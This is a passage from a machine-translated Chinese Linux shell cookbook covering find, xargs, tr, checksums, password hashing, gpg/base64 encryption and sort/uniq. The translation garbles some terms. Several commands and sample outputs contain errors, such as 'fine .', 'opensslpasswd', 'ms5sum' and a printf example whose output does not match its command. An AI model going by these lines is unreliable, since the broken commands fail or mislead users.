-type f -print - -``` - -仅列出如下符号链接: - -```sh -$ find . -type l -print - -``` - -下表显示了`find`识别的类型和参数: - -| **文件类型** | **类型参数** | -| 常规文件 | `f` | -| 符号链接 | `l` | -| 目录 | `d` | -| 字符专用设备 | `c` | -| 闭塞装置 | `b` | -| 窝 | `s` | -| 先进先出。比较 LIFO | `p` | - -# 按文件时间戳搜索 - -Unix/Linux 文件系统在每个文件上都有三种类型的时间戳。它们如下: - -* **访问时间** ( `-atime`):上次访问文件的时间戳 -* **修改时间** ( `-mtime`):上次修改文件的时间戳 -* **更改时间** ( `-ctime`):上次修改文件元数据(如权限或所有权)的时间戳 - -Unix does not store file creation time by default; however, some filesystems (`ufs2`, `ext4`, `zfs`, `btrfs`, `jfs`) save the creation time. The creation time can be accessed with the stat command. -Given that some applications modify a file by creating a new file and then deleting the original, the creation date may not be accurate. -The `-atime`, `-mtime`, and `-ctime` option are the time parameter options available with `find`. They can be specified with integer values in *number of days*. The number may be prefixed with `-` or `+` signs. The `-` sign implies less than, whereas the `+` sign implies greater than. - -考虑以下示例: - -* 打印过去七天内访问过的文件: - -```sh - $ find . -type f -atime -7 -print - -``` - -* 打印访问时间正好为七天的文件: - -```sh - $ find . -type f -atime 7 -print - -``` - -* 打印访问时间超过七天的文件: - -```sh - $ find . -type f -atime +7 -print - -``` - -`-mtime`参数将根据修改时间搜索文件;`-ctime`根据变更时间进行搜索。 - -`-atime`、`-mtime`和`-ctime`使用以天为单位的时间。`find`命令还支持以分钟为单位的选项。这些措施如下: - -* `-amin`(访问时间) -* `-mmin`(修改时间) -* `-cmin`(变更时间) - -要打印所有访问时间超过七分钟的文件,请使用以下命令: - -```sh -$ find . -type f -amin +7 -print - -``` - -`-newer`选项指定一个修改时间的参考文件,用于选择比参考文件更新的文件。 - -查找所有比`file.txt`文件更新的文件: - -```sh -$ find . -type f -newer file.txt -print - -``` - -`find`命令的时间戳标志对于编写备份和维护脚本非常有用。 - -# 基于文件大小的搜索 - -基于文件的文件大小,可以执行搜索: - -```sh -# Files having size greater than 2 kilobytes -$ find . -type f -size +2k - -# Files having size less than 2 kilobytes -$ find . -type f -size -2k - -# Files having size 2 kilobytes -$ find . -type f -size 2k - -``` - -代替`k`,我们可以使用这些不同大小的单位: - -* `b` : 512 字节块 -* `c`字节 -* `w`:双字节字 -* `k`:千字节(1,024 字节) -* `M`:兆字节(1,024 千字节) -* `G`:千兆字节(1024 兆字节) - -# 基于文件权限和所有权的匹配 - -可以根据文件权限匹配文件。我们可以列出具有指定文件权限的文件: - -```sh -$ find . -type f -perm 644 -print -# Print files having permission 644 - -``` - -`-perm`选项指定`find`应该只匹配权限设置为特定值的文件。权限在*处理文件权限、所有权、* *和[第 3 章](02.html)、*文件输入、文件输出*中的粘性位*配方中有更详细的解释。 - -作为一个示例使用案例,我们可以考虑 Apache web 服务器的案例。网络服务器中的 PHP 文件需要适当的权限才能执行。我们可以找到没有适当执行权限的 PHP 文件: - -```sh -$ find . -type f -name "*.php" ! -perm 644 -print -PHP/custom.php -$ ls -l PHP/custom.php --rw-rw-rw-. root root 513 Mar 13 2016 PHP/custom.php - -``` - -我们还可以根据所有权搜索文件。可以通过`-user USER`选项找到特定用户拥有的文件。 - -`USER`参数可以是用户名或 UID。 - -例如,要打印`slynux`用户拥有的所有文件的列表,可以使用以下命令: - -```sh -$ find . -type f -user slynux -print - -``` - -# 使用查找对文件执行操作 - -find 命令可以对它识别的文件执行操作。您可以删除文件,或者对文件执行任意的 Linux 命令。 - -# 基于文件匹配删除 - -`find`命令的`-delete`标志删除匹配的文件,而不是显示它们。从当前目录中删除`.swp`文件: - -```sh -$ find . -type f -name "*.swp" -delete - -``` - -# 执行命令 - -使用`-exec`选项,可以将`find`命令与许多其他命令结合使用。 - -考虑前面的例子。我们使用`-perm`查找没有适当权限的文件。同样,如果我们需要将某个用户(例如`root`)拥有的所有文件的所有权更改为另一个用户(例如`www-data`,网络服务器中默认的 Apache 用户),我们可以使用`-user`选项找到`root`拥有的所有文件,并使用`-exec`执行所有权更改操作。 - -You must run the `find` command as root if you want to change the ownership of files or directories. - -`find`命令使用开/闭花括号对`{}`来表示文件名。在下一个例子中,每次`find`识别一个文件,它会用文件名替换`{}`并改变文件的所有权。例如,如果`find`命令找到两个拥有者为`root`的文件,它将改变这两个文件,使它们都归`slynux`所有: - -```sh -# find . -type f -user root -exec chown slynux {} \; - -``` - -Note that the command is terminated with `\;`. The semicolon must be escaped or it will be grabbed by your command shell as the end of the `find` command instead of the end of the `chown` command. - -为每个文件调用一个命令是很大的开销。如果命令接受多个参数(如`chown`所做的),您可以用加号(`+`)而不是分号来终止命令。加号使`find`列出所有匹配搜索参数的文件,并在一条命令行上用所有文件执行一次应用。 - -另一个用法示例是将给定目录中的所有 C 程序文件连接起来,并将它们写入单个文件,比如说`all_c_files.txt`。这些示例中的每一个都将执行此操作: - -```sh -$ find . -type f -name '*.c' -exec cat {} \;>all_c_files.txt -$ find . -type f -name '*.c' -exec cat {} > all_c_files.txt \; -$ fine . -type f -name '*.c' -exec cat {} >all_c_files.txt + - -``` - -为了将数据从`find`重定向到`all_c_files.txt`文件,我们使用了`>`操作符而不是`>>`(追加),因为来自`find`命令的整个输出是单个数据流(`stdin`);当要将多个数据流附加到单个文件时,`>>`是必要的。 - -以下命令将所有 10 天以上的`.txt`文件复制到一个目录`OLD`: - -```sh -$ find . -type f -mtime +10 -name "*.txt" -exec cp {} OLD \; - -``` - -`find`命令可以与许多其他命令结合使用。 - -We cannot use multiple commands along with the `-exec` parameter. It accepts only a single command, but we can use a trick. Write multiple commands in a shell script (for example, `commands.sh`) and use it with `-exec` as follows: - -```sh --exec ./commands.sh {} \; - -``` - -`-exec`参数可以与`printf`耦合产生`joutput`。考虑这个例子: - -```sh -$ find . -type f -name "*.txt" -exec printf "Text file: %s\n" {} \; -Config file: /etc/openvpn/easy-rsa/openssl-1.0.0.cnf -Config file: /etc/my.cnf - -``` - -# 使用 find 命令时跳过指定的目录 - -跳过某些子目录可以提高`find`运行时的性能。例如,当在版本控制系统(如`Git`)下的开发源代码树中搜索文件时,文件系统在存储版本控制相关信息的每个子目录中包含一个目录。这些目录可能不包含有用的文件,应该从搜索中排除。 - -排除文件和目录的技术被称为**修剪**。以下示例显示了如何使用`-prune`选项排除符合模式的文件。 - -```sh -$ find devel/source_path -name '.git' -prune -o -type f -print - -``` - -`-name ".git" -prune`是修剪部分,指定`.git`目录应该排除。`-type f -print`部分描述了要执行的操作。 - -# 玩 xargs - -Unix 命令接受来自标准输入(`stdin`)或作为命令行参数的数据。前面的例子已经展示了如何用管道将数据从一个应用的标准输出传递到另一个应用的标准输入。 - -我们可以以其他方式调用接受命令行参数的应用。最简单的方法是使用 back-tic 符号运行命令,并将其输出用作命令行: - -```sh -$ gcc `find '*.c'` - -``` - -这个解决方案在很多情况下都可以正常工作,但是如果有很多文件需要处理,你会看到可怕的`Argument list too long`错误消息。`xargs`程序解决了这个问题。 - -`xargs`命令从`stdin`读取参数列表,并在命令行中使用这些参数执行命令。`xargs`命令还可以将任何单行或多行文本输入转换为其他格式,例如多行(指定列数)或单行,反之亦然。 - -# 准备好了 - -`xargs`命令应该是管道操作员之后出现的第一个命令。它使用标准输入作为主要数据源,并使用从`stdin`读取的值作为新命令的命令行参数来执行另一个命令。本示例将在一组 C 文件中搜索主字符串: - -```sh -ls *.c | xargs grep main - -``` - -# 怎么做... - -`xargs`命令通过重新格式化通过`stdin`接收的数据,为目标命令提供参数。默认情况下,`xargs`将执行`echo`命令。在许多方面,`xargs`命令类似于`find`命令的`-exec`选项所执行的动作: - -* 将多行输入转换为单行输出: - -Xarg 的默认`echo`命令可用于将多行输入转换为单行文本,如下所示: - -```sh - $ cat example.txt # Example file - 1 2 3 4 5 6 - 7 8 9 10 - 11 12 - - $ cat example.txt | xargs - 1 2 3 4 5 6 7 8 9 10 11 12 - -``` - -* 将单线输出转换为多线输出: - -`xargs`的`-n`参数限制了每个命令行调用中的元素数量。该配方将输入分成多行 *N* 项,每一行: - -```sh - $ cat example.txt | xargs -n 3 - 1 2 3 - 4 5 6 - 7 8 9 - 10 11 12 - -``` - -# 它是如何工作的... - -`xargs`命令的工作原理是接受来自`stdin`的输入,将数据解析成单个元素,并调用以这些元素作为最终命令行参数的程序。默认情况下,`xargs`会根据空白分割输入并执行`/bin/echo`。 - -当文件名和文件夹名中有空格(甚至换行符)时,根据空白将输入拆分成元素就成了一个问题。`My Documents`文件夹将被解析成两个元素`My`和`Documents`,两者都不存在。 - -大多数问题都有解决方案,这也不例外。 - -我们可以定义用于分隔参数的分隔符。要为输入指定自定义分隔符,请使用`-d`选项: - -```sh -$ echo "split1Xsplit2Xsplit3Xsplit4" | xargs -d X -split1 split2 split3 split4 - -``` - -在前面的代码中,`stdin`包含一个由多个`X`字符组成的字符串。我们用`-d option`定义`X`作为输入分隔符。 - -使用`-n`和前面的命令,我们可以将输入分成多行,每行两个单词,如下所示: - -```sh -$ echo "splitXsplitXsplitXsplit" | xargs -d X -n 2 -split split -split split - -``` - -`xargs`命令与查找命令很好地结合在一起。find 的输出可以通过管道传输到`xargs`,以执行比`-exec`选项所能处理的更复杂的操作。如果文件系统的名称中有空格,find 命令的`-print0`选项将使用`0`(空)来分隔元素,这与`xargs -0`选项一起解析这些元素。以下示例在 Samba 安装的文件系统上搜索`.docx`文件,其中带有大写字母和空格的名称很常见。它使用`grep`报告带有图像的文件: - -```sh -$ find /smbMount -iname '*.docx' -print0 | xargs -0 grep -L image - -``` - -# 还有更多... - -前面的例子展示了如何使用`xargs`来组织一组数据。接下来的示例显示了如何在命令行上格式化数据集。 - -# 通过读取 stdin 将格式化的参数传递给命令 - -这里有一个小的`echo`脚本,可以清楚地看到`xargs`是如何提供命令参数的: - -```sh -#!/bin/bash -#Filename: cecho.sh - -echo $*'#' - -``` - -当参数被传递到`cecho.sh` shell 时,它将打印以`#`字符结束的参数。考虑这个例子: - -```sh - $ ./cecho.sh arg1 arg2 - arg1 arg2 # - -``` - -这里有一个常见的问题: - -* 我有一个文件中的元素列表(每行一个)要提供给一个命令(比方说,`cecho.sh`)。我需要以几种方式应用这些参数。在第一个方法中,我需要每个调用一个参数,如下所示: - -```sh - ./cecho.sh arg1 - ./cecho.sh arg2 - ./cecho.sh arg3 - -``` - -* 接下来,我需要为命令的每次执行提供一个或两个参数,如下所示: - -```sh - ./cecho.sh arg1 arg2 - ./cecho.sh arg3 - -``` - -* 最后,我需要一次性向命令提供所有参数: - -```sh - ./cecho.sh arg1 arg2 arg3 - -``` - -运行`cecho.sh`脚本并记录输出,然后继续下一节。`xargs`命令可以格式化每个需求的参数。争论的清单在一份名为`args.txt`的文件中: - -```sh -$ cat args.txt -arg1 -arg2 -arg3 - -``` - -对于第一种形式,我们多次执行该命令,每次执行一个参数。`xargs -n`选项可以将命令行参数的数量限制为一个: - -```sh -$ cat args.txt | xargs -n 1 ./cecho.sh -arg1 # -arg2 # -arg3 # - -``` - -要将参数数量限制为两个或更少,请执行以下操作: - -```sh -$ cat args.txt | xargs -n 2 ./cecho.sh -arg1 arg2 # -arg3 # - -``` - -最后,要用所有参数同时执行命令,不要使用任何`-n`参数: - -```sh -$ cat args.txt | xargs ./cecho.sh -arg1 arg2 arg3 # - -``` - -在前面的例子中,`xargs`添加的参数放在命令的末尾。但是,我们可能需要在命令的末尾有一个常量短语,并希望`xargs`在中间替换它的参数,如下所示: - -```sh -./cecho.sh -p arg1 -l - -``` - -在前面的命令执行中,`arg1`是唯一的变量文本。所有其他的都应该保持不变。`args.txt`的论点应该这样应用: - -```sh -./cecho.sh -p arg1 -l -./cecho.sh -p arg2 -l -./cecho.sh -p arg3 -l - -``` - -`xargs-I`选项指定要用 xargs 从输入中解析的参数替换的替换字符串。当`-I`与`xargs`一起使用时,它将作为每个参数的一个命令执行来执行。这个例子解决了这个问题: - -```sh -$ cat args.txt | xargs -I {} ./cecho.sh -p {} -l --p arg1 -l # --p arg2 -l # --p arg3 -l # - -``` - -`-I {}`指定替换字符串。对于为命令提供的每个参数,`{}`字符串将被替换为通过`stdin`读取的参数。 - -When used with `-I`, the command is executed in a loop. When there are three arguments, the command is executed three times along with the `{}` command. Each time, `{}` is replaced with arguments one by one. - -# 将 xargs 与 find 一起使用 - -`xargs`和`find`命令可以组合执行任务。但是,请注意仔细组合它们。考虑这个例子: - -```sh -$ find . -type f -name "*.txt" -print | xargs rm -f - -``` - -这很危险。这可能会导致意外文件的删除。我们无法预测`find`命令输出的定界字符(无论是`'\n'`还是`' '`)。如果任何文件名包含空格字符(`' '` ) `xargs`可能会将其误解为分隔符。例如`bashrc text.txt`会被`xargs`误解为`bashrc`和`text.txt`。之前的命令不会删除`bashrc text.txt`,但会删除`bashrc`。 - -使用`find`的`-print0`选项产生由空字符(`'\0'`)分隔的输出;您使用`find`输出作为`xargs`输入。 - -该命令将`find`并删除所有`.txt`文件,不删除任何其他内容: - -```sh -$ find . -type f -name "*.txt" -print0 | xargs -0 rm -f - -``` - -# 计算源代码目录中 C 代码的行数 - -在某些时候,大多数程序员需要计算他们的 C 程序文件中的**行代码** ( **LOC** )这个任务的代码如下: - -```sh -$ find source_code_dir_path -type f -name "*.c" -print0 | xargs -0 wc -l - -``` - -If you want more statistics about your source code, a utility called `SLOCCount`, is very useful. Modern GNU/Linux distributions usually have packages or you can get it from [http://www.dwheeler.com/sloccount/](http://www.dwheeler.com/sloccount/). - -# 而与 stdin 的子壳技巧 - -`xargs`命令将参数放在命令的末尾;因此,`xargs`不能为多组命令提供参数。我们可以创建一个子 Shell 来处理复杂的情况。子 Shell 可以使用`while`循环来读取参数,并以更复杂的方式执行命令,如下所示: - -```sh -$ cat files.txt | ( while read arg; do cat $arg; done ) -# Equivalent to cat files.txt | xargs -I {} cat {} - -``` - -这里,通过使用`while`循环用任意数量的命令替换`cat $arg`,我们可以用相同的参数执行许多命令动作。我们可以不使用管道将输出传递给其他命令。地下`( )`技巧可以在各种有问题的环境中使用。当包含在子 Shell 操作符中时,它充当一个内部有多个命令的单元,如下所示: - -```sh -$ cmd0 | ( cmd1;cmd2;cmd3) | cmd4 - -``` - -如果`cmd1`是子壳内的`cd /`,工作目录的路径会改变。然而,这种变化只存在于子 Shell 内部。`cmd4`命令不会看到目录改变。 - -shell 接受一个`-c`选项,用命令行脚本调用一个子 shell。这可以结合`xargs`解决需要多次替换的问题。以下示例查找所有`C`文件并回显每个文件的名称,前面加一个换行符(`-e`选项允许反斜杠替换)。紧随文件名之后的是该文件中出现的所有时间的列表`main`: - -```sh -find . -name '*.c' | xargs -I ^ sh -c "echo -ne '\n ^: '; grep main ^" - -``` - -# 用 tr 翻译 - -`tr`命令是 Unix 命令-战士工具包中的一个通用工具。它被用来创建优雅的单行命令。它执行字符替换,删除选定的字符,并可以从标准输入中压缩重复的字符。Tr 是**翻译**的缩写,因为它将一组字符翻译成另一组。在这个食谱中,我们将看到如何使用`tr`来执行集合之间的基本翻译。 - -# 准备好 - -`tr`命令通过**标准输入** ( **标准输入**)接受输入,不能通过命令行参数接受输入。它具有以下调用格式: - -```sh -tr [options] set1 set2 - -``` - -从`stdin`输入的字符从`set1`中的第一个字符映射到`set2`中的第一个字符,以此类推,输出写入`stdout`(标准输出)。`set1`和`set2`是字符类或一组字符。如果集合的长度不相等,`set2`通过重复最后一个字符扩展到`set1`的长度;否则如果`set2`的长度大于`set1`的长度,所有超过`set1`长度的字符将从`set2`中忽略。 - -# 怎么做... - -要将输入中的字符从大写转换为小写,请使用以下命令: - -```sh -$ echo "HELLO WHO IS THIS" | tr 'A-Z' 'a-z' -hello who is this - -``` - -`'A-Z'`和`'a-z'`为套装。我们可以根据需要通过附加字符或字符类来指定自定义集。 - -`'ABD-}'`、`'aA.,'`、`'a-ce-x'`、`'a-c0-9'`等为有效集合。我们可以很容易地定义集合。我们可以使用`'startchar-endchar'`格式来代替书写连续的字符序列。它还可以与任何其他字符或字符类组合。如果`startchar-endchar`不是有效的连续字符序列,则它们被视为一组三个字符(例如,`startchar`、`-`和`endchar`)。您也可以使用特殊字符,如`'\t'`、`'\n'`或任何 ASCII 字符。 - -# 它是如何工作的... - -使用带有集合概念的`tr`,我们可以很容易地将字符从一个集合映射到另一个集合。让我们看一个使用`tr`加密和解密数字字符的例子: - -```sh -$ echo 12345 | tr '0-9' '9876543210' -87654 #Encrypted - -$ echo 87654 | tr '9876543210' '0-9' -12345 #Decrypted - -``` - -`tr`命令可用于加密文本。 **ROT13** 是一个众所周知的加密算法。在 ROT13 方案中,字符移动了 13 个位置,因此相同的函数可以加密和解密文本: - -```sh -$ echo "tr came, tr saw, tr conquered." | tr 'a-zA-Z' 'n-za-mN-ZA-M' - -``` - -输出如下: - -```sh -ge pnzr, ge fnj, ge pbadhrerq. - -``` - -通过将加密的文本再次发送到同一个 ROT13 函数,我们得到如下结果: - -```sh -$ echo ge pnzr, ge fnj, ge pbadhrerq. | tr 'a-zA-Z' 'n-za-mN-ZA-M' - -``` - -输出如下: - -```sh -tr came, tr saw, tr conquered. - -``` - -`tr`可以将每个制表符转换为一个空格,如下所示: - -```sh -$ tr '\t' ' ' < file.txt - -``` - -# 还有更多... - -我们看到了一些使用`tr`命令的基本翻译。让我们看看`tr`还能帮助我们实现什么。 - -# 使用 tr 删除字符 - -`tr`命令有一个选项`-d`可以使用要删除的指定字符集来删除出现在`stdin`上的一组字符,如下所示: - -```sh -$ cat file.txt | tr -d '[set1]' -#Only set1 is used, not set2 - -``` - -考虑这个例子: - -```sh -$ echo "Hello 123 world 456" | tr -d '0-9' -Hello world -# Removes the numbers from stdin and print - -``` - -# 补充字符集 - -我们可以使用一个集合来使用`-c`标志来补充`set1`。`set2`在以下命令中是可选的: - -```sh -tr -c [set1] [set2] - -``` - -如果只有`set1`存在,`tr`将删除所有不在`set1`的字符。如果`set2`也存在,`tr`将把不在`set1`中的字符翻译成`set2`中的值。如果单独使用`-c`选项,则必须使用`set1`和`set2`。如果组合`-c`和`-d`选项,只使用`set1`,其他字符全部删除。 - -以下示例删除输入文本中的所有字符,补码集中指定的字符除外: - -```sh -$ echo hello 1 char 2 next 4 | tr -d -c '0-9 \n' -124 - -``` - -本示例用空格替换所有不在`set1`中的字符: - -```sh -$ echo hello 1 char 2 next 4 | tr -c '0-9' ' ' - 1 2 4 - -``` - -# 用 tr 压缩字符 - -`tr`命令可以执行许多文本处理任务。例如,它可以删除字符串中一个字符的多次出现。其基本形式如下: - -```sh -tr -s '[set of characters to be squeezed]' - -``` - -如果您通常在句点后放两个空格,则需要在不删除重复字母的情况下删除多余的空格: - -```sh -$ echo "GNU is not UNIX. Recursive right ?" | tr -s ' ' -GNU is not UNIX. Recursive right ? - -``` - -`tr`命令也可以用来删除多余的换行符: - -```sh -$ cat multi_blanks.txt | tr -s '\n' -line 1 -line 2 -line 3 -line 4 - -``` - -在`tr`的前面用法中,去掉了多余的`'\n'`字符。让我们以一种巧妙的方式使用`tr`从文件中添加给定的数字列表,如下所示: - -```sh -$ cat sum.txt -1 -2 -3 -4 -5 - -$ cat sum.txt | echo $[ $(tr '\n' '+' ) 0 ] -15 - -``` - -这个黑客是如何工作的? - -在这里,`tr`命令将`'\n'`替换为`'+'`字符,因此,我们形成了字符串`1+2+3+..5+` `,`,但是在字符串的末尾我们有一个额外的`+`运算符。为了取消`+`操作符的效果,附加了`0`。 - -`$[ operation ]`执行数字操作。因此,它形成了这个字符串: - -```sh -echo $[ 1+2+3+4+5+0 ] - -``` - -如果我们使用循环从文件中读取数字来执行加法,将需要几行代码。有了`tr`,一个一个的班轮就可以了。 - -更棘手的是,当我们有一个包含字母和数字的文件时,我们想要对这些数字求和: - -```sh -$ cat test.txt -first 1 -second 2 -third 3 - -``` - -我们可以使用`tr`用`-d`选项去掉字母,然后用`+`替换空格: - -```sh -$ cat test.txt | tr -d [a-z] | echo "total: $[$(tr ' ' '+')]" -total: 6 - -``` - -# 字符类 - -`tr`命令可以使用不同的字符类作为集合。以下是支持的字符类: - -* `alnum`:字母数字字符 -* `alpha`:字母字符 -* `cntrl`:控制(非打印)字符 -* `digit`:数字字符 -* `graph`:图形字符 -* `lower`:小写字母字符 -* `print`:可打印字符 -* `punct`:标点符号 -* `space`:空白字符 -* `upper`:大写字符 -* `xdigit`:十六进制字符 - -我们可以选择所需的类,如下所示: - -```sh -tr [:class:] [:class:] - -``` - -考虑这个例子: - -```sh -tr '[:lower:]' '[:upper:]' - -``` - -# 校验和和验证 - -校验和程序用于从文件中生成相对较小的唯一密钥。我们可以重新计算密钥来确认文件没有更改。文件可能会被故意修改(添加新用户会更改密码文件)、意外修改(从光驱读取数据时出错)或恶意修改(插入病毒)。校验和让我们验证文件是否包含我们期望的数据。 - -备份应用使用校验和来检查文件是否已被修改并需要备份。 - -大多数软件发行版也有可用的校验和文件。即使是可靠的协议,如 TCP,也允许在传输过程中修改文件。因此,我们需要通过应用某种测试来知道接收到的文件是否是原始文件。 - -通过将我们下载的文件的校验和与分发器计算的校验和进行比较,我们可以验证接收到的文件是否正确。如果从源位置的原始文件计算的校验和与在目标位置计算的校验和相匹配,则文件已成功接收。 - -一些系统验证套件维护关键文件的校验和。如果恶意软件修改了文件,我们可以从更改的校验和中检测到这一点。 - -在本食谱中,我们将看到如何计算校验和来验证数据的完整性。 - -# 准备好 - -Unix 和 Linux 支持多种校验和程序,但最健壮、使用最广泛的算法是 **MD5** 和 **SHA-1** 。 **ms5sum** 和 **sha1sum** 程序通过对数据应用相应的算法来生成校验和字符串。让我们看看如何从文件中生成校验和,并验证该文件的完整性。 - -# 怎么做... - -要计算 md5sum,请使用以下命令: - -```sh -$ md5sum filename -68b329da9893e34099c7d8ad5cb9c940 filename - -``` - -`md5sum`是给定的 32 个字符的十六进制字符串。 - -我们可以将校验和输出重定向到一个文件供以后使用,如下所示: - -```sh -$ md5sum filename > file_sum.md5 - -``` - -# 它是如何工作的... - -`md5sum`校验和计算的语法如下: - -```sh -$ md5sum file1 file2 file3 .. - -``` - -当使用多个文件时,输出将包含每个文件的校验和,每行一个校验和报告: - -```sh -[checksum1] file1 -[checksum1] file2 -[checksum1] file3 - -``` - -可以用生成的文件验证文件的完整性,如下所示: - -```sh -$ md5sum -c file_sum.md5 -# It will output a message whether checksum matches or not - -``` - -如果我们需要使用所有可用的`.md5`信息检查所有文件,请使用以下内容: - -```sh -$ md5sum -c *.md5 - -``` - -SHA-1 是另一种常用的校验和算法。它根据输入生成一个 40 个字符的十六进制代码。`sha1sum`命令计算一个 SHA-1 `checksum`。其用法与`md5sum`相似。只需在前面提到的所有命令中将`md5sum`替换为`sha1sum`。将输出文件名改为`file_sum.sha1`,而不是`file_sum.md5`。 - -校验和对于验证从互联网下载的文件的完整性非常有用。ISO 图像易受错误位的影响。一些错误的位和国际标准化组织可能是不可读的,或者,更糟糕的是,它可能会安装以奇怪的方式失败的应用。大多数文件存储库都包含一个`md5`或`sha1`文件,您可以用它来验证文件是否被正确下载。 - -![](img/B05265_02_01_New.png) - -这是创建的 MD5 总和校验和: - -```sh -3f50877c05121f7fd8544bef2d722824 *ubuntu-16.10-desktop-amd64.iso -e9e9a6c6b3c8c265788f4e726af25994 *ubuntu-16.10-desktop-i386.iso -7d6de832aee348bacc894f0a2ab1170d *ubuntu-16.10-server-amd64.iso -e532cfbc738876b353c7c9943d872606 *ubuntu-16.10-server-i386.iso - -``` - -# 还有更多... - -校验和在用于许多文件时也很有用。让我们看看如何将校验和应用于文件集合并验证其准确性。 - -# 目录的校验和 - -计算文件的校验和。计算目录的校验和需要递归计算目录中所有文件的校验和。 - -`md5deep`或`sha1deep`命令遍历文件树并计算所有文件的校验和。这些程序可能没有安装在您的系统上。使用`apt-get`或`yum`安装`md5deep`套件。该命令的示例如下: - -```sh -$ md5deep -rl directory_path > directory.md5 - -``` - -`-r`选项允许 md5deep 递归到子目录中。`-l`选项允许显示相对路径,而不是默认的绝对路径。 - -```sh -# `-r` to enable recursive traversal -# `-l` to use relative path. By default it writes absolute file -path in output - -``` - -`find`和`md5sum`命令可用于递归计算校验和: - -```sh -$ find directory_path -type f -print0 | xargs -0 md5sum >> directory.md5 - -``` - -要验证,请使用以下命令: - -```sh -$ md5sum -c directory.md5 - -``` - -* **md5** 和 **SHA-1 校验和**是单向哈希算法,不能反过来形成原始数据。这些也用于从给定数据生成唯一密钥: - -```sh - $ md5sum file - 8503063d5488c3080d4800ff50850dc9 file - $ sha1sum file - 1ba02b66e2e557fede8f61b7df282cd0a27b816b file - -``` - -这些哈希通常用于存储密码。仅存储密码的哈希。当需要对用户进行身份验证时,会读取密码并将其转换为哈希,然后将该哈希与存储的哈希进行比较。如果它们相同,则验证密码并提供访问权限。存储纯文本密码字符串有风险,并且会带来安全风险。 - -Although commonly used, md5sum and SHA-1 are no longer considered secure. This is because the rise in computing power in recent times that makes it easier to crack them. It is recommended that you use tools such as `bcrypt` or **sha512sum** instead. Read more about this at [http://codahale.com/how-to-safely-store-a-password/](http://codahale.com/how-to-safely-store-a-password/). - -* 类似影子的散列(盐散列) - -下一个食谱展示了如何为密码生成一个类似影子的盐散列。Linux 中用户密码的哈希存储在`/etc/shadow`文件中。`/etc/shadow`中的一句典型台词是这样的: - -```sh - test:$6$fG4eWdUi$ohTKOlEUzNk77.4S8MrYe07NTRV4M3LrJnZP9p.qc1bR5c. -EcOruzPXfEu1uloBFUa18ENRH7F70zhodas3cR.:14790:0:99999:7::: - -``` - -`$6$fG4eWdUi$ohTKOlEUzNk77.4S8MrYe07NTRV4M3LrJnZP9p.qc1bR5c.EcOruzPXfEu1uloBFUa18ENRH7F70zhodas3cR`是其密码对应的哈希。 - -在某些情况下,我们需要编写脚本来编辑密码或添加用户。在这种情况下,我们必须生成一个影子密码字符串,并向影子文件中写入一个与前面类似的行。我们可以使用`openssl`生成一个影子密码。 - -影子密码通常是加盐密码。`SALT`是一个额外的字符串,用于混淆和加强加密。Salt 由随机位组成,这些位被用作密钥派生函数的输入之一,该函数为密码生成盐散列。 - -For more details on salt, refer to this Wikipedia page at [h t t p ://e n . w i k i p e d i a . o r g /w i k i /S a l t _ (c r y p t o g r a p h y )](http://en.wikipedia.org/wiki/Salt_(cryptography)). - -```sh -$ opensslpasswd -1 -salt SALT_STRING PASSWORD -$1$SALT_STRING$323VkWkSLHuhbt1zkSsUG. - -``` - -用随机字符串替换`SALT_STRING`,用想要使用的密码替换`PASSWORD`。 - -# 加密工具和哈希 - -加密技术用于保护数据免受未经授权的访问。与我们刚刚讨论的校验和算法不同,加密程序可以无损地重建原始数据。有许多可用的算法,我们将讨论 Linux/Unix 世界中最常用的算法。 - -# 怎么做... - -来看看如何使用`crypt`、`gpg`、`base64`等工具: - -* `crypt`命令在 Linux 系统上并不常见。这是一个简单且相对不安全的加密工具,它接受来自`stdin`的输入,请求一个`passphrase`,并将加密输出发送到`stdout`: - -```sh - $ crypt output_file - Enter passphrase: - -``` - -我们可以在命令行上提供一个密码: - -```sh - $ crypt PASSPHRASE encrypted_file - -``` - -要解密文件,请使用以下命令: - -```sh - $ crypt PASSPHRASE -d output_file - -``` - -* `gpg` (GNU 隐私卫士)是一个广泛使用的保护文件的工具,以确保数据在到达预期目的地之前不会被读取。 - -`gpg` signatures are also widely used in e-mail communications to "sign" e-mail messages, proving the authenticity of the sender. - -要用`gpg`加密文件,请使用以下命令: - -```sh - $ gpg -c filename - -``` - -该命令交互读取密码短语并生成`filename.gpg`。要解密`gpg`文件,请使用以下命令: - -```sh - $ gpg filename.gpg - -``` - -该命令读取密码并解密文件。 - -We are not covering `gpg` in much detail in this book. For more information, refer to [http://en.wikipedia.org/wiki/GNU_Privacy_Guard](http://en.wikipedia.org/wiki/GNU_Privacy_Guard). - -* **Base64** 是一组类似的编码方案,通过将二进制数据转换为**基数-64** 表示,以 ASCII 字符串格式表示二进制数据。这些程序用于通过电子邮件传输二进制数据。`base64`命令对 Base64 字符串进行编码和解码。要将二进制文件编码为 Base64 格式,请使用以下命令: - -```sh - $ base64 filename > outputfile - -``` - -或者,使用以下命令: - -```sh - $ cat file | base64 > outputfile - -``` - -可以从`stdin`读取。 - -解码 Base64 数据,如下所示: - -```sh - $ base64 -d file > outputfile - -``` - -或者,使用以下方法: - -```sh - $ cat base64_file | base64 -d > outputfile - -``` - -# 对唯一行和重复行进行排序 - -对文本文件进行排序是一项常见的任务。`sort`命令对文本文件和`stdin`进行排序。它可以与其他命令相结合,以产生所需的输出。`uniq`常用于`sort`提取唯一(或重复)的线条。以下食谱说明了一些排序和`uniq`用例。 - -# 准备好 - -`sort`和`uniq`命令接受作为文件名或来自`stdin`(标准输入)的输入,并通过写入`stdout`输出结果。 - -# 怎么做... - -1. 我们可以对一组文件(例如`file1.txt`和`file2.txt`)进行排序,如下所示: - -```sh - $ sort file1.txt file2.txt > sorted.txt - -``` - -或者,使用以下方法: - -```sh - $ sort file1.txt file2.txt -o sorted.txt - -``` - -2. 对于数字排序,我们使用这个: - -```sh - $ sort -n file.txt - -``` - -3. 要按相反的顺序排序,我们使用以下命令: - -```sh - $ sort -r file.txt - -``` - -4. 按月排序(按 1 月、2 月、3 月,...),使用这个: - -```sh - $ sort -M months.txt - -``` - -5. 要合并两个已经排序的文件,请使用以下命令: - -```sh - $ sort -m sorted1 sorted2 - -``` - -6. 要从已排序的文件中查找唯一的行,请使用以下命令: - -```sh - $ sort file1.txt file2.txt | uniq - -``` - -7. 要检查文件是否已经排序,请使用以下代码: - -```sh - #!/bin/bash - #Desc: Sort - sort -C filename ; - if [ $? -eq 0 ]; then - echo Sorted; - else - echo Unsorted; - fi - -``` - -将`filename`替换为您想要检查并运行脚本的文件。 - -# 它是如何工作的... - 